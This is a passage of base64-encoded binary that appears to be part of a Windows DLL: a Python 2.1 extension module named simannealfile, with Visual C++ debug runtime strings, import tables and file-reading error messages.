YW5kLmNvbQAvYwAAc3lzdGVtLmMAAAAAKmNvbW1hbmQgIT0gX1QoJ1wwJykAAAAAQ09NU1BF QwBDbGllbnQAAElnbm9yZQAAQ1JUAE5vcm1hbAAARnJlZQAAAABFcnJvcjogbWVtb3J5IGFs bG9jYXRpb246IGJhZCBtZW1vcnkgYmxvY2sgdHlwZS4KAAAASW52YWxpZCBhbGxvY2F0aW9u IHNpemU6ICV1IGJ5dGVzLgoAJXMAAENsaWVudCBob29rIGFsbG9jYXRpb24gZmFpbHVyZS4K AAAAAENsaWVudCBob29rIGFsbG9jYXRpb24gZmFpbHVyZSBhdCBmaWxlICVocyBsaW5lICVk LgoAAAAAZGJnaGVhcC5jAAAAX0NydENoZWNrTWVtb3J5KCkAAABfcEZpcnN0QmxvY2sgPT0g cE9sZEJsb2NrAAAAX3BMYXN0QmxvY2sgPT0gcE9sZEJsb2NrAAAAAGZSZWFsbG9jIHx8ICgh ZlJlYWxsb2MgJiYgcE5ld0Jsb2NrID09IHBPbGRCbG9jaykAAABfQkxPQ0tfVFlQRShwT2xk QmxvY2stPm5CbG9ja1VzZSk9PV9CTE9DS19UWVBFKG5CbG9ja1VzZSkAAABwT2xkQmxvY2st Pm5MaW5lID09IElHTk9SRV9MSU5FICYmIHBPbGRCbG9jay0+bFJlcXVlc3QgPT0gSUdOT1JF X1JFUQAAAABfQ3J0SXNWYWxpZEhlYXBQb2ludGVyKHBVc2VyRGF0YSkAAABBbGxvY2F0aW9u IHRvbyBsYXJnZSBvciBuZWdhdGl2ZTogJXUgYnl0ZXMuCgAAAABDbGllbnQgaG9vayByZS1h bGxvY2F0aW9uIGZhaWx1cmUuCgBDbGllbnQgaG9vayByZS1hbGxvY2F0aW9uIGZhaWx1cmUg YXQgZmlsZSAlaHMgbGluZSAlZC4KAF9wRmlyc3RCbG9jayA9PSBwSGVhZAAAAF9wTGFzdEJs b2NrID09IHBIZWFkAAAAAHBIZWFkLT5uQmxvY2tVc2UgPT0gbkJsb2NrVXNlAAAAcEhlYWQt Pm5MaW5lID09IElHTk9SRV9MSU5FICYmIHBIZWFkLT5sUmVxdWVzdCA9PSBJR05PUkVfUkVR AAAAAERBTUFHRTogYWZ0ZXIgJWhzIGJsb2NrICgjJWQpIGF0IDB4JTA4WC4KAAAAREFNQUdF OiBiZWZvcmUgJWhzIGJsb2NrICgjJWQpIGF0IDB4JTA4WC4KAABDbGllbnQgaG9vayBmcmVl IGZhaWx1cmUuCgAAbWVtb3J5IGNoZWNrIGVycm9yIGF0IDB4JTA4WCA9IDB4JTAyWCwgc2hv dWxkIGJlIDB4JTAyWC4KAAAAJWhzIGxvY2F0ZWQgYXQgMHglMDhYIGlzICV1IGJ5dGVzIGxv bmcuCgAAAAAlaHMgYWxsb2NhdGVkIGF0IGZpbGUgJWhzKCVkKS4KAERBTUFHRTogb24gdG9w IG9mIEZyZWUgYmxvY2sgYXQgMHglMDhYLgoAAAAAREFNQUdFRABfaGVhcGNoayBmYWlscyB3 aXRoIHVua25vd24gcmV0dXJuIHZhbHVlIQoAAF9oZWFwY2hrIGZhaWxzIHdpdGggX0hFQVBC QURQVFIuCgAAAF9oZWFwY2hrIGZhaWxzIHdpdGggX0hFQVBCQURFTkQuCgAAAF9oZWFwY2hr IGZhaWxzIHdpdGggX0hFQVBCQUROT0RFLgoAAF9oZWFwY2hrIGZhaWxzIHdpdGggX0hFQVBC QURCRUdJTi4KAEJhZCBtZW1vcnkgYmxvY2sgZm91bmQgYXQgMHglMDhYLgoAAF9DcnRNZW1D aGVja1BvaW50OiBOVUxMIHN0YXRlIHBvaW50ZXIuCgBPYmplY3QgZHVtcCBjb21wbGV0ZS4K AABjcnQgYmxvY2sgYXQgMHglMDhYLCBzdWJ0eXBlICV4LCAldSBieXRlcyBsb25nLgoAAAAA bm9ybWFsIGJsb2NrIGF0IDB4JTA4WCwgJXUgYnl0ZXMgbG9uZy4KAGNsaWVudCBibG9jayBh dCAweCUwOFgsIHN1YnR5cGUgJXgsICV1IGJ5dGVzIGxvbmcuCgB7JWxkfSAAACVocyglZCkg OiAAACNGaWxlIEVycm9yIyglZCkgOiAARHVtcGluZyBvYmplY3RzIC0+CgAgRGF0YTogPCVz PiAlcwoAJS4yWCAAAABEZXRlY3RlZCBtZW1vcnkgbGVha3MhCgBzc2NhbmYuYwAAAAAAAAAA /////xngABAm4AAQAAAAAP////8AAAAATeIAEAAAAAAO4gAQG+IAEP////9s5QAQcuUAEAAA AAD/////7uUAEP3lABB0aWR0YWJsZS5jAAD/////AAAAAL7pABAAAAAAoOkAEKbpABD///// AAAAAErqABAAAAAALOoAEDLqABBBc3NlcnRpb24gRmFpbGVkAAAAAEVycm9yAAAAV2Fybmlu ZwAlcyglZCkgOiAlcwAKAAAADQAAAEFzc2VydGlvbiBmYWlsZWQhAAAAQXNzZXJ0aW9uIGZh aWxlZDogAABfQ3J0RGJnUmVwb3J0OiBTdHJpbmcgdG9vIGxvbmcgb3IgSU8gRXJyb3IAAFNl Y29uZCBDaGFuY2UgQXNzZXJ0aW9uIEZhaWxlZDogRmlsZSAlcywgTGluZSAlZAoAAAB3c3By aW50ZkEAAAB1c2VyMzIuZGxsAABNaWNyb3NvZnQgVmlzdWFsIEMrKyBEZWJ1ZyBMaWJyYXJ5 AABEZWJ1ZyAlcyEKClByb2dyYW06ICVzJXMlcyVzJXMlcyVzJXMlcyVzJXMKCihQcmVzcyBS ZXRyeSB0byBkZWJ1ZyB0aGUgYXBwbGljYXRpb24pAAAKTW9kdWxlOiAAAAAKRmlsZTogAApM aW5lOiAACgoAAEV4cHJlc3Npb246IAAAAAAKCkZvciBpbmZvcm1hdGlvbiBvbiBob3cgeW91 ciBwcm9ncmFtIGNhbiBjYXVzZSBhbiBhc3NlcnRpb24KZmFpbHVyZSwgc2VlIHRoZSBWaXN1 YWwgQysrIGRvY3VtZW50YXRpb24gb24gYXNzZXJ0cy4AAC4uLgA8cHJvZ3JhbSBuYW1lIHVu a25vd24+AABkYmdycHQuYwAAAABzelVzZXJNZXNzYWdlICE9IE5VTEwAAABtbG9jay5jAF9m aWxlLmMAX3NmdGJ1Zi5jAAAAZmxhZyA9PSAwIHx8IGZsYWcgPT0gMQAABgAABgABAAAQAAMG AAYCEARFRUUFBQUFBTUwAFAAAAAAICg4UFgHCAA3MDBXUAcAACAgCAAAAAAIYGhgYGBgAABw cHh4eHgIBwgAAAcACAgIAAAIAAgABwgAAAAoAG4AdQBsAGwAKQAAAAAAKG51bGwpAABvdXRw dXQuYwAAAABjaCAhPSBfVCgnXDAnKQAAX2ZyZWVidWYuYwAAaW5wdXQuYwBfb3Blbi5jAGZp bGVuYW1lICE9IE5VTEwAAAAAc3RyZWFtLmMAAAAAKCJpbmNvbnNpc3RlbnQgSU9CIGZpZWxk cyIsIHN0cmVhbS0+X3B0ciAtIHN0cmVhbS0+X2Jhc2UgPj0gMCkAAF9mbHNidWYuYwAAAAAA AAAAAAAAAAAAAAAA8D9/AjXCaCGi2g/JPkD////////vfwAAAAAAABAAAAAAAAAAmMAAAAAA AACYQAAAAAAAAPB/AAAAAAAAAAAAAAAAAAAAAAAA8D9Jc1Byb2Nlc3NvckZlYXR1cmVQcmVz ZW50AAAAS0VSTkVMMzIAAAAAZSswMDAAAABfZmlsYnVmLmMAAABcAAAAUEFUSAAAAAAqKmFy Z3YgIT0gX1QoJ1wwJykAACphcmd2ICE9IE5VTEwAAABhcmd2ICE9IE5VTEwAAAAAKmZpbGVu YW1lICE9IF9UKCdcMCcpAAAAc3Bhd252cGUuYwAALmNvbQAAAAAuZXhlAAAAAC5iYXQAAAAA LmNtZAAAAAAuXAAAc3Bhd252ZS5jAAAA////////738AAAAAAAAQAAAAAAAAAJjAAAAAAAAA mEAAAAAAAADwfwAAAAAAAAAAaW9pbml0LmMAAAAAc3RkZW52cC5jAAAAc3RkYXJndi5jAAAA YV9lbnYuYwBydW50aW1lIGVycm9yIAAADQoAAFRMT1NTIGVycm9yDQoAAABTSU5HIGVycm9y DQoAAAAARE9NQUlOIGVycm9yDQoAAFI2MDI4DQotIHVuYWJsZSB0byBpbml0aWFsaXplIGhl YXANCgAAAABSNjAyNw0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBsb3dpbyBpbml0aWFsaXph dGlvbg0KAAAAAFI2MDI2DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIHN0ZGlvIGluaXRpYWxp emF0aW9uDQoAAAAAUjYwMjUNCi0gcHVyZSB2aXJ0dWFsIGZ1bmN0aW9uIGNhbGwNCgAAAFI2 MDI0DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIF9vbmV4aXQvYXRleGl0IHRhYmxlDQoAAAAA UjYwMTkNCi0gdW5hYmxlIHRvIG9wZW4gY29uc29sZSBkZXZpY2UNCgAAAABSNjAxOA0KLSB1 bmV4cGVjdGVkIGhlYXAgZXJyb3INCgAAAABSNjAxNw0KLSB1bmV4cGVjdGVkIG11bHRpdGhy ZWFkIGxvY2sgZXJyb3INCgAAAABSNjAxNg0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciB0aHJl YWQgZGF0YQ0KAA0KYWJub3JtYWwgcHJvZ3JhbSB0ZXJtaW5hdGlvbg0KAAAAAFI2MDA5DQot IG5vdCBlbm91Z2ggc3BhY2UgZm9yIGVudmlyb25tZW50DQoAUjYwMDgNCi0gbm90IGVub3Vn aCBzcGFjZSBmb3IgYXJndW1lbnRzDQoAAABSNjAwMg0KLSBmbG9hdGluZyBwb2ludCBub3Qg bG9hZGVkDQoAAAAATWljcm9zb2Z0IFZpc3VhbCBDKysgUnVudGltZSBMaWJyYXJ5AAAAAFJ1 bnRpbWUgRXJyb3IhCgpQcm9ncmFtOiAAAAB2c3ByaW50Zi5jAABHZXRMYXN0QWN0aXZlUG9w dXAAAEdldEFjdGl2ZVdpbmRvdwBNZXNzYWdlQm94QQBvc2ZpbmZvLmMAAABtYnRvd2MuYwAA AABNQl9DVVJfTUFYID09IDEgfHwgTUJfQ1VSX01BWCA9PSAyAAB1bmdldGMuYwAAAABfZ2V0 YnVmLmMAAABkb3NwYXduLmMAAABjZW52YXJnLmMAAAB3dG9tYmVudi5jAABTdW5Nb25UdWVX ZWRUaHVGcmlTYXQAAABKYW5GZWJNYXJBcHJNYXlKdW5KdWxBdWdTZXBPY3ROb3ZEZWMAAAAA dHpzZXQuYwBUWgAAAAAAAAAAAAAAAAAA/////9TTARDa0wEQY2hzaXplLmMAAAAAc2l6ZSA+ PSAwAAAAX3luAF95MQBfeTAAZnJleHAAAABmbW9kAAAAAF9oeXBvdAAAX2NhYnMAAABsZGV4 cAAAAG1vZGYAAAAAZmFicwAAAABmbG9vcgAAAGNlaWwAAAAAdGFuAGNvcwBzaW4Ac3FydAAA AABhdGFuMgAAAGF0YW4AAAAAYWNvcwAAAABhc2luAAAAAHRhbmgAAAAAY29zaAAAAABzaW5o AAAAAGxvZzEwAAAAbG9nAHBvdwBleHAA/////1bsARBc7AEQ/////0ztARBS7QEQMSNRTkFO AAAxI0lORgAAADEjSU5EAAAAMSNTTkFOAABhX2NtcC5jAGNjaENvdW50MT09MCAmJiBjY2hD b3VudDI9PTEgfHwgY2NoQ291bnQxPT0xICYmIGNjaENvdW50Mj09MAAAAAD/////zwQCENUE AhD/////bQUCEHMFAhBzZXRlbnYuYwAAAABIOm1tOnNzAGRkZGQsIE1NTU0gZGQsIHl5eXkA TS9kL3l5AABQTQAAQU0AAERlY2VtYmVyAAAAAE5vdmVtYmVyAAAAAE9jdG9iZXIAU2VwdGVt YmVyAAAAQXVndXN0AABKdWx5AAAAAEp1bmUAAAAAQXByaWwAAABNYXJjaAAAAEZlYnJ1YXJ5 AAAAAEphbnVhcnkARGVjAE5vdgBPY3QAU2VwAEF1ZwBKdWwASnVuAE1heQBBcHIATWFyAEZl YgBKYW4AU2F0dXJkYXkAAAAARnJpZGF5AABUaHVyc2RheQAAAABXZWRuZXNkYXkAAABUdWVz ZGF5AE1vbmRheQAAU3VuZGF5AABTYXQARnJpAFRodQBXZWQAVHVlAE1vbgBTdW4AIAWTGQEA AAB4NgIQAAAAAAAAAAAAAAAAAAAAAAAAAAD/////gBMCECAFkxkCAAAAoDYCEAAAAAAAAAAA AAAAAAAAAAAAAAAA/////5MTAhAAAAAAnBMCECAFkxkBAAAA0DYCEAAAAAAAAAAAAAAAAAAA AAAAAAAA/////7ITAhAgBZMZAQAAAPg2AhAAAAAAAAAAAAAAAAAAAAAAAAAAAP/////HEwIQ IAWTGQEAAAAgNwIQAAAAAAAAAAAAAAAAAAAAAAAAAAD/////3BMCECAFkxkEAAAASDcCEAAA AAAAAAAAAAAAAAAAAAAAAAAA//////ETAhAAAAAA+hMCEAEAAAADFAIQAQAAAA4UAhAgBZMZ AQAAAIg3AhAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8wFAIQIAWTGQEAAACwNwIQAAAAAAAA AAAAAAAAAAAAAAAAAAD/////QxQCECAFkxkCAAAA2DcCEAAAAAAAAAAAAAAAAAAAAAAAAAAA /////2AUAhD/////axQCECAFkxkCAAAACDgCEAAAAAAAAAAAAAAAAAAAAAAAAAAA/////4AU AhAAAAAAiRQCECAFkxkBAAAAODgCEAAAAAAAAAAAAAAAAAAAAAAAAAAA/////6AUAhAgBZMZ AQAAAGA4AhAAAAAAAAAAAAAAAAAAAAAAAAAAAP////+1FAIQIAWTGQEAAACIOAIQAAAAAAAA AAAAAAAAAAAAAAAAAAD/////yhQCECAFkxkBAAAAsDgCEAAAAAAAAAAAAAAAAAAAAAAAAAAA /////98UAhAgBZMZAgAAANg4AhAAAAAAAAAAAAAAAAAAAAAAAAAAAP/////1FAIQAAAAAAEV AhBgOgIAAAAAAAAAAADsOwIAKCECAKQ6AgAAAAAAAAAAADI8AgBsIQIAODkCAAAAAAAAAAAA YEECAAAgAgAAAAAAAAAAAAAAAAAAAAAAAAAAAGo+AgBGQQIANEECACJBAgASQQIAAkECAPBA AgDgQAIA1EACAMpAAgC+QAIArEACAJpAAgBCPAIATjwCAFw8AgBwPAIAhDwCAJ48AgCuPAIA vjwCAM48AgDePAIA7jwCAAA9AgAOPQIAJD0CADI9AgA+PQIASD0CAFg9AgBmPQIAdj0CAIQ9 AgCUPQIAoD0CALg9AgDOPQIA4D0CAPA9AgAIPgIAHj4CADo+AgBSPgIAgj4CAJA+AgCkPgIA uj4CAMY+AgDUPgIA4D4CAO4+AgD8PgIACj8CABo/AgAsPwIAOj8CAEw/AgBmPwIAgD8CAJY/ AgCuPwIAyD8CAOY/AgD2PwIABkACABpAAgAwQAIAPkACAFBAAgBcQAIAckACAIhAAgAAAAAA ejsCAMo6AgDcOgIA7joCANQ7AgDGOwIAsjsCAKI7AgCMOwIAtDoCAGo7AgBOOwIAOjsCACY7 AgAUOwIAAjsCAAAAAAAKPAIAGDwCAPo7AgAAAAAAmwFQeVN0cmluZ19Gcm9tU3RyaW5nAFUA UHlFcnJfU2V0U3RyaW5nAH4AUHlFeGNfTmFtZUVycm9yAAEAUHlBcmdfUGFyc2VUdXBsZQAA XAJfUHlfTm9uZVN0cnVjdAAAigBQeUV4Y19UeXBlRXJyb3IAkwFQeVN0cmluZ19Bc1N0cmlu ZwBJAVB5T2JqZWN0X0dldEF0dHIAAJ0BUHlTdHJpbmdfSW50ZXJuRnJvbVN0cmluZwCgAVB5 U3RyaW5nX1R5cGUAxABQeUludF9Gcm9tTG9uZwAAngBQeUZsb2F0X0Zyb21Eb3VibGUAAAMC UHlfQnVpbGRWYWx1ZQADAVB5TW9kdWxlX0dldERpY3QAAM0BUHlUeXBlX1R5cGUAOQBQeURp Y3RfU2V0SXRlbVN0cmluZwAAcHl0aG9uMjEuZGxsAABjAl9QeV9SZWZUb3RhbAAAWQJfUHlf RGVhbGxvYwAbAlB5X0luaXRNb2R1bGU0VHJhY2VSZWZzAHB5dGhvbjIxX2QuZGxsAAAvAlJ0 bFVud2luZAB9AEV4aXRQcm9jZXNzAJ4CVGVybWluYXRlUHJvY2VzcwAA9wBHZXRDdXJyZW50 UHJvY2VzcwBwAUdldFRpbWVab25lSW5mb3JtYXRpb24AAF0BR2V0U3lzdGVtVGltZQAbAUdl dExvY2FsVGltZQAAuAFJc0JhZFdyaXRlUHRyALUBSXNCYWRSZWFkUHRyAACnAUhlYXBWYWxp ZGF0ZQAAygBHZXRDb21tYW5kTGluZUEAdAFHZXRWZXJzaW9uAAD6AEdldEN1cnJlbnRUaHJl YWRJZAAApQJUbHNTZXRWYWx1ZQCiAlRsc0FsbG9jAACjAlRsc0ZyZWUAcQJTZXRMYXN0RXJy b3IAAKQCVGxzR2V0VmFsdWUAGgFHZXRMYXN0RXJyb3IAAFEARGVidWdCcmVhawAAUgFHZXRT dGRIYW5kbGUAAN8CV3JpdGVGaWxlAK0BSW50ZXJsb2NrZWREZWNyZW1lbnQAAPUBT3V0cHV0 RGVidWdTdHJpbmdBAAA+AUdldFByb2NBZGRyZXNzAADCAUxvYWRMaWJyYXJ5QQAAsAFJbnRl cmxvY2tlZEluY3JlbWVudAAAJAFHZXRNb2R1bGVGaWxlTmFtZUEAAKoBSW5pdGlhbGl6ZUNy aXRpY2FsU2VjdGlvbgBVAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgBmAEVudGVyQ3JpdGljYWxT ZWN0aW9uAADBAUxlYXZlQ3JpdGljYWxTZWN0aW9uAAAbAENsb3NlSGFuZGxlACYBR2V0TW9k dWxlSGFuZGxlQQAADQFHZXRGaWxlQXR0cmlidXRlc0EAAJkBSGVhcEFsbG9jAKIBSGVhcFJl QWxsb2MAnwFIZWFwRnJlZQAAnQFIZWFwRGVzdHJveQCbAUhlYXBDcmVhdGUAAL8CVmlydHVh bEZyZWUAuwJWaXJ0dWFsQWxsb2MAAG0CU2V0SGFuZGxlQ291bnQAABUBR2V0RmlsZVR5cGUA UAFHZXRTdGFydHVwSW5mb0EAsgBGcmVlRW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZp cm9ubWVudFN0cmluZ3NXANICV2lkZUNoYXJUb011bHRpQnl0ZQAGAUdldEVudmlyb25tZW50 U3RyaW5ncwAIAUdldEVudmlyb25tZW50U3RyaW5nc1cAAIsCU2V0VW5oYW5kbGVkRXhjZXB0 aW9uRmlsdGVyALIBSXNCYWRDb2RlUHRyAAB8AlNldFN0ZEhhbmRsZQAAqgBGbHVzaEZpbGVC dWZmZXJzAADkAU11bHRpQnl0ZVRvV2lkZUNoYXIANABDcmVhdGVGaWxlQQBqAlNldEZpbGVQ b2ludGVyAAAYAlJlYWRGaWxlAAALAUdldEV4aXRDb2RlUHJvY2VzcwAAzgJXYWl0Rm9yU2lu Z2xlT2JqZWN0AEQAQ3JlYXRlUHJvY2Vzc0EAAFMBR2V0U3RyaW5nVHlwZUEAAFYBR2V0U3Ry aW5nVHlwZVcAAL8AR2V0Q1BJbmZvALkAR2V0QUNQAAAxAUdldE9FTUNQAABhAlNldEVuZE9m RmlsZQAACwJSYWlzZUV4Y2VwdGlvbgAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdX AAAhAENvbXBhcmVTdHJpbmdBAAAiAENvbXBhcmVTdHJpbmdXAABiAlNldEVudmlyb25tZW50 VmFyaWFibGVBAEtFUk5FTDMyLmRsbAAAAAAAAAAAXUldPAAAAACiQQIAAQAAAAEAAAABAAAA mEECAJxBAgCgQQIAYZYAALRBAgAAAHNpbWFubmVhbGZpbGUuZGxsAGluaXRzaW1hbm5lYWxm aWxlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDyABAQ3AEQwHEBEAAA AAAAAAAA8PMAEAAAAAAAAAAA4HEBEAAAAAAAAAAAAAAAAAAAAABiYXNpc2ZpbGU6OnJlYWRm aWxlOgogTm8gZmlsZW5hbWUgdG8gcmVhZCBzcGVjaWZpZWQuCgAAAGJhc2lzZmlsZTo6cmVh ZGZpbGUgKCk6CiAAAAAnLgoARXJyb3Igd2hpbGUgcmVhZGluZyBmaWxlIGAAAGJhc2lzZmls 